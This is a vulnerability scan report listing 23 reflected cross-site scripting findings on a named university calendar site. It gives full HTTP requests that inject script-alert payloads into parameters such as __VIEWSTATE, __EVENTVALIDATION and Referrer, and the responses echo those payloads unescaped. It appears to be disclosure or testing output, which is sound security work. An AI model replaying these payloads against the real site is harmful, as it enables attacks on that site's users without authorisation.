Report generated by HTI at Sat Sep 01 09:24:12 EDT 2012.

XSS, Reflected Cross Site Scripting, CWE-79, CAPEC-86, calendar.champlain.edu

Loading

1. Cross-site scripting (reflected)

1.1. https://calendar.champlain.edu/CuteEditor/Template.aspx [Referrer parameter]

1.2. https://calendar.champlain.edu/CuteEditor/Template.aspx [name of an arbitrarily supplied request parameter]

1.3. https://calendar.champlain.edu/EventDetails.aspx [__EVENTVALIDATION parameter]

1.4. https://calendar.champlain.edu/EventDetails.aspx [__VIEWSTATE parameter]

1.5. https://calendar.champlain.edu/EventReminder.aspx [__EVENTVALIDATION parameter]

1.6. https://calendar.champlain.edu/EventReminder.aspx [__VIEWSTATE parameter]

1.7. https://calendar.champlain.edu/Login.aspx [__EVENTVALIDATION parameter]

1.8. https://calendar.champlain.edu/Login.aspx [__VIEWSTATE parameter]

1.9. https://calendar.champlain.edu/MasterCalendar.aspx [__EVENTVALIDATION parameter]

1.10. https://calendar.champlain.edu/MasterCalendar.aspx [__VIEWSTATE parameter]

1.11. https://calendar.champlain.edu/Search.aspx [__EVENTVALIDATION parameter]

1.12. https://calendar.champlain.edu/Search.aspx [__VIEWSTATE parameter]

1.13. https://calendar.champlain.edu/SystemCheck.aspx [%27%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Ealert(0x0001BA parameter]

1.14. https://calendar.champlain.edu/SystemCheck.aspx [%27%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Ealert(0x0001BA)%3C/script%3E parameter]

1.15. https://calendar.champlain.edu/SystemCheck.aspx ['%22--%3e%3c%2fstyle%3e%3c%2fscript%3e%3cscript%3ealert(0x0001BA)%3c%2fscript%3e parameter]

1.16. https://calendar.champlain.edu/SystemCheck.aspx [name of an arbitrarily supplied request parameter]

1.17. https://calendar.champlain.edu/SystemCheck.aspx [sb parameter]

1.18. https://calendar.champlain.edu/default.aspx [__VIEWSTATE parameter]

1.19. https://calendar.champlain.edu/CuteEditor/Template.aspx [Referer HTTP header]

1.20. https://calendar.champlain.edu/SystemCheck.aspx [Referer HTTP header]

1.21. https://calendar.champlain.edu/SystemCheck.aspx [User-Agent HTTP header]

1.22. https://calendar.champlain.edu/SystemCheck.aspx [ASP.NET_SessionId cookie]

1.23. https://calendar.champlain.edu/SystemCheck.aspx [mycc_ss cookie]



1. Cross-site scripting (reflected)
There are 23 instances of this issue:

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organization. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organization which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organization in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Issue remediation

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.


1.1. https://calendar.champlain.edu/CuteEditor/Template.aspx [Referrer parameter]  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://calendar.champlain.edu
Path:   /CuteEditor/Template.aspx

Issue detail

The value of the Referrer request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 7f664"><script>alert(1)</script>5ec413213a8 was submitted in the Referrer parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /CuteEditor/Template.aspx?Referrer=7f664"><script>alert(1)</script>5ec413213a8 HTTP/1.1
Host: calendar.champlain.edu
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.7 (KHTML, like Gecko) Chrome/16.0.912.63 Safari/535.7
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: mycc_ss=2
Content-Length: 10


Response

HTTP/1.1 200 OK
Cache-Control: private, max-age=31536000
Content-Length: 324
Content-Type: text/html; charset=utf-8
Expires: Tue, 25 Dec 2012 02:17:29 GMT
Last-Modified: Mon, 26 Dec 2011 02:17:29 GMT
Server: Microsoft-IIS/7.5
X-AspNet-Version: 2.0.50727
X-Powered-By: ASP.NET
Date: Mon, 26 Dec 2011 02:17:29 GMT


<html>
   <head>
       <title>Untitled</title>
       <meta name="GENERATOR" content="CuteEditor">
       <base target="_blank" href="7f664"><script>alert(1)</script>5ec413213a8" />
       <link type="text/css" re
...[SNIP]...

1.2. https://calendar.champlain.edu/CuteEditor/Template.aspx [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://calendar.champlain.edu
Path:   /CuteEditor/Template.aspx

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload efe4d"><script>alert(1)</script>b971236a51a was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /CuteEditor/Template.aspx?efe4d"><script>alert(1)</script>b971236a51a=1 HTTP/1.1
Host: calendar.champlain.edu
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Cache-Control: private, max-age=31536000
Content-Length: 382
Content-Type: text/html; charset=utf-8
Expires: Tue, 25 Dec 2012 02:27:24 GMT
Last-Modified: Mon, 26 Dec 2011 02:27:24 GMT
Server: Microsoft-IIS/7.5
X-AspNet-Version: 2.0.50727
X-Powered-By: ASP.NET
Date: Mon, 26 Dec 2011 02:27:24 GMT
Connection: close


<html>
   <head>
       <title>Untitled</title>
       <meta name="GENERATOR" content="CuteEditor">
       <base target="_blank" href="https://calendar.champlain.edu/CuteEditor/Template.aspx?efe4d"><script>alert(1)</script>b971236a51a=1" />
...[SNIP]...

1.3. https://calendar.champlain.edu/EventDetails.aspx [__EVENTVALIDATION parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://calendar.champlain.edu
Path:   /EventDetails.aspx

Issue detail

The value of the __EVENTVALIDATION request parameter is copied into the HTML document as plain text between tags. The payload d33a0<script>alert(1)</script>5ecc670e6ae was submitted in the __EVENTVALIDATION parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

POST /EventDetails.aspx?data=hHr80o3M7J7sT%2bCuAcEhrpfRondkuzDC6rMQEshNP4TkhoWl6p9a6Q%3d%3d HTTP/1.1
Host: calendar.champlain.edu
Connection: keep-alive
Content-Length: 9459
Cache-Control: max-age=0
Origin: https://calendar.champlain.edu
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.7 (KHTML, like Gecko) Chrome/16.0.912.63 Safari/535.7
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://calendar.champlain.edu/EventDetails.aspx?data=hHr80o3M7J7sT%2bCuAcEhrpfRondkuzDC6rMQEshNP4TkhoWl6p9a6Q%3d%3d
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: mycc_ss=2; ASP.NET_SessionId=j2r0an552jwuk545r2ntawbk


ems_RelatedEventsGrid_CheckedRows=&__EVENTTARGET=ctl00%24pc%24RelatedEventsGrid%24ctl05%24AddtoCalIcon&__EVENTARGUMENT=&ems_RelatedEventsGrid_sortColumn=&ems_RelatedEventsGrid_sortDirection=
...[SNIP]...
Fptx1AVyPYp8D7kYdVEU8MHPBbn9fngizyVd3%2BsPaiOV5bJfd4JSMO6cANoJkzUS9sinKVBIZyTpjPju1QFlTK%2BKCXETZaWlk6kcZ7NRtxT5IECTceZ0xzU2biZWmuOLkAm8xJ704sh8oedad37oy2bJ1%2BBQTY%2BHOg6dPOW9zqwggJdgYhaiWwbuqjzqxWhGd33a0<script>alert(1)</script>5ecc670e6ae

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 4337
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/7.5
X-AspNet-Version: 2.0.50727
X-Powered-By: ASP.NET
Date: Mon, 26 Dec 2011 02:26:48 GMT

<h1>Error In Page</h1><hr/>Error Message: The state information is invalid for this page and might be corrupted.<hr /><b>Stack Trace: </b><br/>System.Web.HttpException: The state information is invali
...[SNIP]...
kcTnMvHqD/ptx1AVyPYp8D7kYdVEU8MHPBbn9fngizyVd3+sPaiOV5bJfd4JSMO6cANoJkzUS9sinKVBIZyTpjPju1QFlTK+KCXETZaWlk6kcZ7NRtxT5IECTceZ0xzU2biZWmuOLkAm8xJ704sh8oedad37oy2bJ1+BQTY+HOg6dPOW9zqwggJdgYhaiWwbuqjzqxWhGd33a0<script>alert(1)</script>5ecc670e6ae<br />
...[SNIP]...

1.4. https://calendar.champlain.edu/EventDetails.aspx [__VIEWSTATE parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://calendar.champlain.edu
Path:   /EventDetails.aspx

Issue detail

The value of the __VIEWSTATE request parameter is copied into the HTML document as plain text between tags. The payload 30a11<script>alert(1)</script>7ac22cca084d6aaca was submitted in the __VIEWSTATE parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The original request used the POST method, however it was possible to convert the request to use the GET method, to enable easier demonstration and delivery of the attack.

Request

GET /EventDetails.aspx?data=hHr80o3M7J7sT%2bCuAcEhrpfRondkuzDC6rMQEshNP4TkhoWl6p9a6Q%3d%3d&ems_RelatedEventsGrid_CheckedRows=&__EVENTTARGET=ctl00%24pc%24RelatedEventsGrid%24ctl05%24AddtoCalIcon&__EVENTARGUMENT=&ems_RelatedEventsGrid_sortColumn=&ems_RelatedEventsGrid_sortDirection=&ems_RelatedEventsGrid_groupBy=&__VIEWSTATE=30a11<script>alert(1)</script>7ac22cca084d6aaca&__VIEWSTATEENCRYPTED=&__EVENTVALIDATION=DfD2Fl4tsgPEDOXV8T2EzW9zhZ5OKIDN1Zwnro7kcTnMvHqD%2Fptx1AVyPYp8D7kYdVEU8MHPBbn9fngizyVd3%2BsPaiOV5bJfd4JSMO6cANoJkzUS9sinKVBIZyTpjPju1QFlTK%2BKCXETZaWlk6kcZ7NRtxT5IECTceZ0xzU2biZWmuOLkAm8xJ704sh8oedad37oy2bJ1%2BBQTY%2BHOg6dPOW9zqwggJdgYhaiWwbuqjzqxWhG HTTP/1.1
Host: calendar.champlain.edu
Connection: keep-alive
Cache-Control: max-age=0
Origin: https://calendar.champlain.edu
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.7 (KHTML, like Gecko) Chrome/16.0.912.63 Safari/535.7
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://calendar.champlain.edu/EventDetails.aspx?data=hHr80o3M7J7sT%2bCuAcEhrpfRondkuzDC6rMQEshNP4TkhoWl6p9a6Q%3d%3d
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: mycc_ss=2; ASP.NET_SessionId=j2r0an552jwuk545r2ntawbk

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 3702
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/7.5
X-AspNet-Version: 2.0.50727
X-Powered-By: ASP.NET
Date: Mon, 26 Dec 2011 02:26:46 GMT

<h1>Error In Page</h1><hr/>Error Message: The state information is invalid for this page and might be corrupted.<hr /><b>Stack Trace: </b><br/>System.Web.HttpException: The state information is invali
...[SNIP]...
<br />    ViewState: 30a11<script>alert(1)</script>7ac22cca084d6aaca<br />
...[SNIP]...

1.5. https://calendar.champlain.edu/EventReminder.aspx [__EVENTVALIDATION parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://calendar.champlain.edu
Path:   /EventReminder.aspx

Issue detail

The value of the __EVENTVALIDATION request parameter is copied into the HTML document as plain text between tags. The payload c07c1<script>alert(1)</script>af6c995bb3199fe50 was submitted in the __EVENTVALIDATION parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The original request used the POST method, however it was possible to convert the request to use the GET method, to enable easier demonstration and delivery of the attack.

Request

GET /EventReminder.aspx?data=oUtg1FbeNNPhyWGidVg%2bVATJKS6crJ1UzoN%2bQurQo1HxzKQ44G8LTAhKo9aEWxzKTA1HFjdQ0eJ45p4Leyn8IbwZfyBtunmEp4WiqwEKjGKcFmCXKFJxM6USQVQ%2be3oN&__EVENTTARGET=&__EVENTARGUMENT=&__VIEWSTATE=%2FwEPDwULLTE1NjY1OTYzODIPZBYCZg9kFgICAw9kFgICAw9kFggCAQ8WAh4HVmlzaWJsZWgWAgIBD2QWAmYPDxYCHgtOYXZpZ2F0ZVVybAUBL2QWAmYPDxYEHg1BbHRlcm5hdGVUZXh0ZR4KU3RvcmFnZUtleQUkMzk4MTRjNDktMjFlZS00Nzc1LTlkYzYtMzM3Zjk2MmVmZTdiZGQCAw8WAh8AaGQCCw8PFgIfAGhkZAIND2QWBAIDDw8WAh4EVGV4dAUFWnVtYmFkZAIJDxBkZBYBAgNkGAEFHl9fQ29udHJvbHNSZXF1aXJlUG9zdEJhY2tLZXlfXxYBBRljdGwwMCRwYyRTZXRBbGxPY2N1cmVuY2Vzr7at4lVx6ZcYwMwjzGyt7aBz5Xw%3D&__EVENTVALIDATION=%2FwEWHgLL49KbAQLXscSJDQKgwaXtDAK7waXtDAK%2FweXuDAK%2FwdnuDAK9weXuDAK8wdnuDAK6weXuDAKZgIq5CwKZgKK5CwKYgPK6CwKXgIK5CwKXgPq6CwKWgIq5CwKWgKK5CwKVgPK6CwKUgIK5CwKUgPq6CwKTgIq5CwLhytHeDgKl%2FbvfCALgyvHeDgLsrvKyBAL3i%2BuFDQKTgMoEAr%2B6x3sC%2BdLCkgEC6Krj8gsC8vWlvQ4kUa9vSxnfUx6k4C1QEK9lxlYYCg%3D%3Dc07c1<script>alert(1)</script>af6c995bb3199fe50&ctl00%24pc%24EmailBox%24box=fgfdgdb&ctl00%24pc%24ReminderTime=15&ctl00%24pc%24SetAllOccurences=on&ctl00%24pc%24SetReminderButton=Set+Reminder HTTP/1.1
Host: calendar.champlain.edu
Connection: keep-alive
Cache-Control: max-age=0
Origin: https://calendar.champlain.edu
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.7 (KHTML, like Gecko) Chrome/16.0.912.63 Safari/535.7
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://calendar.champlain.edu/EventReminder.aspx?data=oUtg1FbeNNPhyWGidVg%2bVATJKS6crJ1UzoN%2bQurQo1HxzKQ44G8LTAhKo9aEWxzKTA1HFjdQ0eJ45p4Leyn8IbwZfyBtunmEp4WiqwEKjGKcFmCXKFJxM6USQVQ%2be3oN
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: mycc_ss=2; ASP.NET_SessionId=j2r0an552jwuk545r2ntawbk

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 4441
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/7.5
X-AspNet-Version: 2.0.50727
X-Powered-By: ASP.NET
Date: Mon, 26 Dec 2011 02:26:45 GMT

<h1>Error In Page</h1><hr/>Error Message: The state information is invalid for this page and might be corrupted.<hr /><b>Stack Trace: </b><br/>System.Web.HttpException: The state information is invali
...[SNIP]...
6weXuDAKZgIq5CwKZgKK5CwKYgPK6CwKXgIK5CwKXgPq6CwKWgIq5CwKWgKK5CwKVgPK6CwKUgIK5CwKUgPq6CwKTgIq5CwLhytHeDgKl/bvfCALgyvHeDgLsrvKyBAL3i+uFDQKTgMoEAr+6x3sC+dLCkgEC6Krj8gsC8vWlvQ4kUa9vSxnfUx6k4C1QEK9lxlYYCg==c07c1<script>alert(1)</script>af6c995bb3199fe50<br />
...[SNIP]...

1.6. https://calendar.champlain.edu/EventReminder.aspx [__VIEWSTATE parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://calendar.champlain.edu
Path:   /EventReminder.aspx

Issue detail

The value of the __VIEWSTATE request parameter is copied into the HTML document as plain text between tags. The payload b453f<script>alert(1)</script>9d30d5ea474a3070b was submitted in the __VIEWSTATE parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The original request used the POST method, however it was possible to convert the request to use the GET method, to enable easier demonstration and delivery of the attack.

Request

GET /EventReminder.aspx?data=oUtg1FbeNNPhyWGidVg%2bVATJKS6crJ1UzoN%2bQurQo1HxzKQ44G8LTAhKo9aEWxzKTA1HFjdQ0eJ45p4Leyn8IbwZfyBtunmEp4WiqwEKjGKcFmCXKFJxM6USQVQ%2be3oN&__EVENTTARGET=&__EVENTARGUMENT=&__VIEWSTATE=%2FwEPDwULLTE1NjY1OTYzODIPZBYCZg9kFgICAw9kFgICAw9kFggCAQ8WAh4HVmlzaWJsZWgWAgIBD2QWAmYPDxYCHgtOYXZpZ2F0ZVVybAUBL2QWAmYPDxYEHg1BbHRlcm5hdGVUZXh0ZR4KU3RvcmFnZUtleQUkMzk4MTRjNDktMjFlZS00Nzc1LTlkYzYtMzM3Zjk2MmVmZTdiZGQCAw8WAh8AaGQCCw8PFgIfAGhkZAIND2QWBAIDDw8WAh4EVGV4dAUFWnVtYmFkZAIJDxBkZBYBAgNkGAEFHl9fQ29udHJvbHNSZXF1aXJlUG9zdEJhY2tLZXlfXxYBBRljdGwwMCRwYyRTZXRBbGxPY2N1cmVuY2Vzr7at4lVx6ZcYwMwjzGyt7aBz5Xw%3Db453f<script>alert(1)</script>9d30d5ea474a3070b&__EVENTVALIDATION=%2FwEWHgLL49KbAQLXscSJDQKgwaXtDAK7waXtDAK%2FweXuDAK%2FwdnuDAK9weXuDAK8wdnuDAK6weXuDAKZgIq5CwKZgKK5CwKYgPK6CwKXgIK5CwKXgPq6CwKWgIq5CwKWgKK5CwKVgPK6CwKUgIK5CwKUgPq6CwKTgIq5CwLhytHeDgKl%2FbvfCALgyvHeDgLsrvKyBAL3i%2BuFDQKTgMoEAr%2B6x3sC%2BdLCkgEC6Krj8gsC8vWlvQ4kUa9vSxnfUx6k4C1QEK9lxlYYCg%3D%3D&ctl00%24pc%24EmailBox%24box=fgfdgdb&ctl00%24pc%24ReminderTime=15&ctl00%24pc%24SetAllOccurences=on&ctl00%24pc%24SetReminderButton=Set+Reminder HTTP/1.1
Host: calendar.champlain.edu
Connection: keep-alive
Cache-Control: max-age=0
Origin: https://calendar.champlain.edu
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.7 (KHTML, like Gecko) Chrome/16.0.912.63 Safari/535.7
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://calendar.champlain.edu/EventReminder.aspx?data=oUtg1FbeNNPhyWGidVg%2bVATJKS6crJ1UzoN%2bQurQo1HxzKQ44G8LTAhKo9aEWxzKTA1HFjdQ0eJ45p4Leyn8IbwZfyBtunmEp4WiqwEKjGKcFmCXKFJxM6USQVQ%2be3oN
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: mycc_ss=2; ASP.NET_SessionId=j2r0an552jwuk545r2ntawbk

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 4176
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/7.5
X-AspNet-Version: 2.0.50727
X-Powered-By: ASP.NET
Date: Mon, 26 Dec 2011 02:26:41 GMT

<h1>Error In Page</h1><hr/>Error Message: The state information is invalid for this page and might be corrupted.<hr /><b>Stack Trace: </b><br/>System.Web.HttpException: The state information is invali
...[SNIP]...
2MmVmZTdiZGQCAw8WAh8AaGQCCw8PFgIfAGhkZAIND2QWBAIDDw8WAh4EVGV4dAUFWnVtYmFkZAIJDxBkZBYBAgNkGAEFHl9fQ29udHJvbHNSZXF1aXJlUG9zdEJhY2tLZXlfXxYBBRljdGwwMCRwYyRTZXRBbGxPY2N1cmVuY2Vzr7at4lVx6ZcYwMwjzGyt7aBz5Xw=b453f<script>alert(1)</script>9d30d5ea474a3070b<br />
...[SNIP]...

1.7. https://calendar.champlain.edu/Login.aspx [__EVENTVALIDATION parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://calendar.champlain.edu
Path:   /Login.aspx

Issue detail

The value of the __EVENTVALIDATION request parameter is copied into the HTML document as plain text between tags. The payload a6cd2<script>alert(1)</script>1c33c0b629ace0842 was submitted in the __EVENTVALIDATION parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The original request used the POST method, however it was possible to convert the request to use the GET method, to enable easier demonstration and delivery of the attack.

Request

GET /Login.aspx?__LASTFOCUS=&__EVENTTARGET=&__EVENTARGUMENT=&__VIEWSTATE=%2FwEPDwUKMTMzNTQwMjA4Nw9kFgJmD2QWAgIDD2QWAgIDD2QWAgIBD2QWAgIBD2QWAmYPDxYCHgtOYXZpZ2F0ZVVybAUBL2QWAmYPDxYEHg1BbHRlcm5hdGVUZXh0ZR4KU3RvcmFnZUtleQUkZjM3ODFkMDktMzRjMC00MTIxLTgzNzYtNjhlM2U4NzE5ZmQ5ZGRkIVW2rezFdR4KAIlAxhUY3iYWbNs%3D&__EVENTVALIDATION=%2FwEWBQL8xe26DQLx6L7SDQLq%2FfzoBAKPnNPUDwKzvr7CBUl4BfdmiXV7iPhNoNceFHvm9g1Ta6cd2<script>alert(1)</script>1c33c0b629ace0842&ctl00%24pc%24UserId%24box=xss&ctl00%24pc%24Password%24box=xss&ctl00%24pc%24btnLogin=Login HTTP/1.1
Accept: text/html, application/xhtml+xml, */*
Referer: https://calendar.champlain.edu/Login.aspx
Accept-Language: en-US
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)
Accept-Encoding: gzip, deflate
Host: calendar.champlain.edu
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: mycc_ss=2; ASP.NET_SessionId=kmpzb22rtdj2bl55i0u1gimy

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 4050
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/7.5
X-AspNet-Version: 2.0.50727
X-Powered-By: ASP.NET
Date: Mon, 26 Dec 2011 02:08:44 GMT

<h1>Error In Page</h1><hr/>Error Message: The state information is invalid for this page and might be corrupted.<hr /><b>Stack Trace: </b><br/>System.Web.HttpException: The state information is invali
...[SNIP]...
<br />    ViewState: /wEWBQL8xe26DQLx6L7SDQLq/fzoBAKPnNPUDwKzvr7CBUl4BfdmiXV7iPhNoNceFHvm9g1Ta6cd2<script>alert(1)</script>1c33c0b629ace0842<br />
...[SNIP]...

1.8. https://calendar.champlain.edu/Login.aspx [__VIEWSTATE parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://calendar.champlain.edu
Path:   /Login.aspx

Issue detail

The value of the __VIEWSTATE request parameter is copied into the HTML document as plain text between tags. The payload 69f80<script>alert(1)</script>e080239e87b75208f was submitted in the __VIEWSTATE parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The original request used the POST method, however it was possible to convert the request to use the GET method, to enable easier demonstration and delivery of the attack.

Request

GET /Login.aspx?__LASTFOCUS=&__EVENTTARGET=&__EVENTARGUMENT=&__VIEWSTATE=%2FwEPDwUKMTMzNTQwMjA4Nw9kFgJmD2QWAgIDD2QWAgIDD2QWAgIBD2QWAgIBD2QWAmYPDxYCHgtOYXZpZ2F0ZVVybAUBL2QWAmYPDxYEHg1BbHRlcm5hdGVUZXh0ZR4KU3RvcmFnZUtleQUkZjM3ODFkMDktMzRjMC00MTIxLTgzNzYtNjhlM2U4NzE5ZmQ5ZGRkIVW2rezFdR4KAIlAxhUY3iYWbNs%3D69f80<script>alert(1)</script>e080239e87b75208f&__EVENTVALIDATION=%2FwEWBQL8xe26DQLx6L7SDQLq%2FfzoBAKPnNPUDwKzvr7CBUl4BfdmiXV7iPhNoNceFHvm9g1T&ctl00%24pc%24UserId%24box=xss&ctl00%24pc%24Password%24box=xss&ctl00%24pc%24btnLogin=Login HTTP/1.1
Accept: text/html, application/xhtml+xml, */*
Referer: https://calendar.champlain.edu/Login.aspx
Accept-Language: en-US
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)
Accept-Encoding: gzip, deflate
Host: calendar.champlain.edu
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: mycc_ss=2; ASP.NET_SessionId=kmpzb22rtdj2bl55i0u1gimy

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 3809
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/7.5
X-AspNet-Version: 2.0.50727
X-Powered-By: ASP.NET
Date: Mon, 26 Dec 2011 02:08:39 GMT

<h1>Error In Page</h1><hr/>Error Message: The state information is invalid for this page and might be corrupted.<hr /><b>Stack Trace: </b><br/>System.Web.HttpException: The state information is invali
...[SNIP]...
kFgJmD2QWAgIDD2QWAgIDD2QWAgIBD2QWAgIBD2QWAmYPDxYCHgtOYXZpZ2F0ZVVybAUBL2QWAmYPDxYEHg1BbHRlcm5hdGVUZXh0ZR4KU3RvcmFnZUtleQUkZjM3ODFkMDktMzRjMC00MTIxLTgzNzYtNjhlM2U4NzE5ZmQ5ZGRkIVW2rezFdR4KAIlAxhUY3iYWbNs=69f80<script>alert(1)</script>e080239e87b75208f<br />
...[SNIP]...

1.9. https://calendar.champlain.edu/MasterCalendar.aspx [__EVENTVALIDATION parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://calendar.champlain.edu
Path:   /MasterCalendar.aspx

Issue detail

The value of the __EVENTVALIDATION request parameter is copied into the HTML document as plain text between tags. The payload 5fd85<script>alert(1)</script>3c919358ac7 was submitted in the __EVENTVALIDATION parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

POST /MasterCalendar.aspx HTTP/1.1
Accept: */*
Content-Type: application/x-www-form-urlencoded; charset=utf-8
Referer: https://calendar.champlain.edu/MasterCalendar.aspx
Accept-Language: en-us
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)
Host: calendar.champlain.edu
Content-Length: 2729
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: mycc_ss=2; ASP.NET_SessionId=kmpzb22rtdj2bl55i0u1gimy


ems_StandardBrowseGrid_sortColumn=TimeEventStart&ems_StandardBrowseGrid_sortDirection=ASC&ems_StandardBrowseGrid_groupBy=StartDate&__EVENTTARGET=&__EVENTARGUMENT=&ems_calDate=2011-12-26&ems_
...[SNIP]...
cC%2F36nVp8d4C%2BCwo%2FJMKj%2BH%2BhSun8MtiSjUunKke6JWEQB6QuqFk40njdqLlmGocdeexlfDoC4rREEHLrVYb7tKgOv6gAp2xuHFgU6OSy3ey5lXuO0uJmgdWeEY4HyCb2ozKifYF56KywGWO3VwNx%2FvJNuQwxGcV1FPqkEcm%2F%2FxduW%2Fg%3D%3D5fd85<script>alert(1)</script>3c919358ac7

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 4485
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/7.5
X-AspNet-Version: 2.0.50727
X-Powered-By: ASP.NET
Date: Mon, 26 Dec 2011 01:59:06 GMT

<h1>Error In Page</h1><hr/>Error Message: The state information is invalid for this page and might be corrupted.<hr /><b>Stack Trace: </b><br/>System.Web.HttpException: The state information is invali
...[SNIP]...
4Oj+3m/J4yAioOKBDrHopOWcC/36nVp8d4C+Cwo/JMKj+H+hSun8MtiSjUunKke6JWEQB6QuqFk40njdqLlmGocdeexlfDoC4rREEHLrVYb7tKgOv6gAp2xuHFgU6OSy3ey5lXuO0uJmgdWeEY4HyCb2ozKifYF56KywGWO3VwNx/vJNuQwxGcV1FPqkEcm//xduW/g==5fd85<script>alert(1)</script>3c919358ac7<br />
...[SNIP]...

